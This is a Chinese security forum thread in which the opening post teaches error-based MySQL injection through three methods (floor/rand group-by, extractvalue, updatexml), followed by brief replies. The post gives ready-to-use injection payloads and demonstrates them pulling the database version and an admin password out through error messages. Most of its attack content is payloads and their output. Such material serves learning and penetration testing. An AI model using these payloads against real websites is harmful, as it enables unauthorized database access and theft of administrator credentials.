查看: 2103|回复: 25

关于Mysql注入过程中的三种报错方式

[复制链接]
发表于 2012-12-10 01:25:14 | 显示全部楼层 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。实际测试环境:
​

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+



mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+



mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码


and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下:
首先进行正常查询:

mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:


mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
发表于 2012-12-19 11:14:35 | 显示全部楼层
呵呵,等着就等着....  
发表于 2012-12-21 06:18:27 | 显示全部楼层
爷爷都是从孙子走过来的。  
发表于 2012-12-23 12:39:49 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-11-5 00:54:31 | 显示全部楼层
厉害!强~~~~没的说了!  
发表于 2014-11-17 20:11:06 | 显示全部楼层
回复一下  
发表于 2014-12-5 07:44:42 | 显示全部楼层
好啊,,不错、、、、  
发表于 2014-12-28 12:10:39 | 显示全部楼层
感觉好像在哪里看过了,汗~  
发表于 2015-1-28 11:02:08 | 显示全部楼层
没有医保和寿险的,天黑后请不要见义勇为……  
发表于 2015-3-2 06:52:56 | 显示全部楼层
不错啊! 一个字牛啊!  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则